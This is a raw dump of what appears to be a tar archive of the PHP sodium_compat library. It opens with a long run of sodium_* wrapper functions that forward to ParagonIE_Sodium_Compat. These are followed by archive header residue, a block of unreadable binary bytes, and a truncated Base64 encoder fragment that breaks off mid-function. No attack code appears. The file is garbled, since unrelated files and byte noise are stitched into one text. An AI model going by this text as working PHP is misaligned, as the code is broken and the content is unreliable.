(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('sodium_crypto_auth_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_keygen() * @return string * @throws Exception */ function sodium_crypto_auth_keygen() { return ParagonIE_Sodium_Compat::crypto_auth_keygen(); } } if (!is_callable('sodium_crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('sodium_crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair); } } if (!is_callable('sodium_crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $ciphertext * @param string $nonce * @param string $key_pair * @return string|bool */ function sodium_crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair); } } if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal() * @param string $message * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seal( #[\SensitiveParameter] $message, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key); } } if (!is_callable('sodium_crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $key_pair * @return string|bool * @throws SodiumException */ function sodium_crypto_box_seal_open( $message, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair); } catch (SodiumException $ex) { if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash( $message, #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $state * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$state, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init( #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $state * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update( #[\SensitiveParameter] &$state, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_length * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $client_key_pair * @param string $server_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys( #[\SensitiveParameter] $client_key_pair, $server_key ) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $server_key_pair * @param string $client_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys( #[\SensitiveParameter] $server_key_pair, $client_key ) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $algo = null ) { return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256( $length, $passwd, $salt, $opslimit, $memlimit ); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $ciphertext * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $message * @param string $additional_data * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $message, $additional_data = '', $tag = 0 ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push( $state, $message, $additional_data, $tag ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $ciphertext * @param string $additional_data * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $ciphertext, $additional_data = '' ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull( $state, $ciphertext, $additional_data ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $public_key * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $public_key) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $public_key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $public_key) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $length * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream( $length, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { return ParagonIE_Sodium_Compat::hex2bin($string, $ignore); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::memcmp($string1, $string2); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $string * @return void * @throws SodiumException * @throws TypeError * * @psalm-suppress ReferenceConstraintViolation */ function sodium_memzero( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::memzero($string); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_pad( #[\SensitiveParameter] $unpadded, $block_size ) { return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_unpad( #[\SensitiveParameter] $padded, $block_size ) { return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } php72compat_const.php000064400000010765150546316370010652 0ustar00ٴe+Z{ 认li}}7y|?^|ٜ]oΪWb|2]ݼu()⢜u=W?tBi矇aF( 4Kd?0a;klڽSw{<~UY ,8^Oo]մʃr:+^jʪYxMXX,:.tY`Zu,cӫU]4yU={{9_տ_z/Χդx^=fӪ ѳ.Cմ^[99ۿn?e}W7EU\Ml̊j`y^WدŴẼVsl겸Ƀj,WӦ|5r&O'l#`7o$W8aGY!qLģ"T#T#T#T#T8աA_嫗h3Bc"#####uHz6#.^Mϡ%Ѧ=Do542T3T3ͱW7rQ\o?-$I9-I, a'x}K8NIU<)7 *ш*шj~C!B4b VY8|m>O/Ѧ=t惃CJ?~gy?p8<mߡLX,hYz6 p?}~h/<犢"~gB+ ?e\/Ѧ)pLsB'_$22}8?zh_/Ѥڶ ϕ >8VM?Dw&mk%}e^"i5J4ywޡ_u<ш{?Dz hz6Gߡ>^8zҨD#P%q*ш+TF\J4 !~jӝ1vktG(D#F(D#F(D#F(D#F(D#G(kmF(5t?郃CCK?~M+ѤSmS}pNy9?J?~hS>=pg(%?>8VMgh%?J?~hVI3Jz6j%>8VM9C7c[wChD#P%q*ш;T3 VB)"QWm^qʯ Bh ^Mw%ш ;D#v(FPءCh2B+Z6ǯPp}5vg(-f(D#f(D#f(D#f(D#f(CzN9Ba)>8=TDOZ/Ѧ=tߡ)81~B+Ѧ p85<?J?zჃ_)>8L_+ѦVM㿄áZ&O<S|p<?)o>8__=)?>8Og(%=KVFwM qBш*FPA4 'T84 D 1'TCh VMW%}^I'T%}^MW%Hƻ;D#v(Cݡ$CI4bh% -D ~3|pW(p~B+Ѧ PI;t8ߒR %шJ+D#V(FPXL{Z6# VM+Z6_C)>8 Dw(8C)8)~Z+Ѧ|Z&$2S>{H?xD[e8xCMMCD[ ҸD#P&q2ш+F\L4 _ߧ0CPB}J6Ph%|c6_CM+<7cqwh %шJ+D#V(FPh%B[CPFPFPFPFPFP{hZ6#]^=$?奕hVM{Z6k%)>8jDJ?~G+ѦNDy%=K?zhh=K?zha<^$S>[ !o%2ः<IpF34zHh%r'#D[%8 |DCASurt%?CAzH4m!Ѡ# U=$=K4??vߌ{I4VIHۛPJ4R'8h D#N(uhy h0BP%Ѧ+zI4BDCKM?Dcw7Y|8?~J1 V"?Nק_/o$ g"c[8Y=a#D8 d;#-bu=?buu_//Ekf,?.jy/3 k`yp)}ֱ,&{?>r(.I+y3WzW,G=ا;)yfgoASO?Sxky߭ɯi]^4Ӌُ/) V,ps=P=ʵw5FhNk>4DN$ըDV#$8TXш}{V"N8< Շ#<~ka}Ip.V/ )S<`~[:DyaDg7kO%~~3EU͛ŅՔ|.u-@=y]~[mNaKOQ4|ғ;b2i/#כZ{Og`ygΛbyϜ[ogΡ޽XT0~'L:Įhn%#s꿓p-I p{F"Wp\pn#Q;\#z}}?nm>jWڗȮf'|;[$?J_<}wi,=f7εOYhY (ϚE3O}zS>p.lnKdsN WڗgxxD/ù}%uOq|otv>Ï ?<{k{[ ޗS%rm'̮A?N;{~ƱKԛO]K~ [F,~waJh"]yP~.eP87:[YUN?̬LQuָm^bNaFŒvRߪE ~I3mx"g0\&‰ xAput:p#1@ N8t_ ,[[lpn?D7E]6ox=h%MX3?!mzK3,3X_{4pڙ\恽zk+ɧ [S,/ *)V\1aGN3T|O!͗}Ƀrѫ7bmZ &pЂK4w%r&+_M_AODzWxB? oVtH/I#F"Hp_V&Kg$u׏ȅ?^sl573i#3%8-۾CK/N۰A[uWb\%nQ}>w}QOןdfc^KzHdGϫD1֞Wk8WGYXxs_ޘqRvy#] tj#'K!1B}U Y8F"L=ddXѻ'epc.DvD?!Kp;l['>h[29~nCrܞD-掿q}ZfcTqTM>9竦u|,VS[QoܗB&^aDӉfL48$ 5"h$4v5t:l/B5:"q54 ш ш ш Pd8{cFWB4bB4bB4bB4bB4JG)RIČ//⋯ 1jPK(L[eHHova/Base64.tarnu[UrlSafe.php000064400000017063150546106220006626 0ustar00 $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = 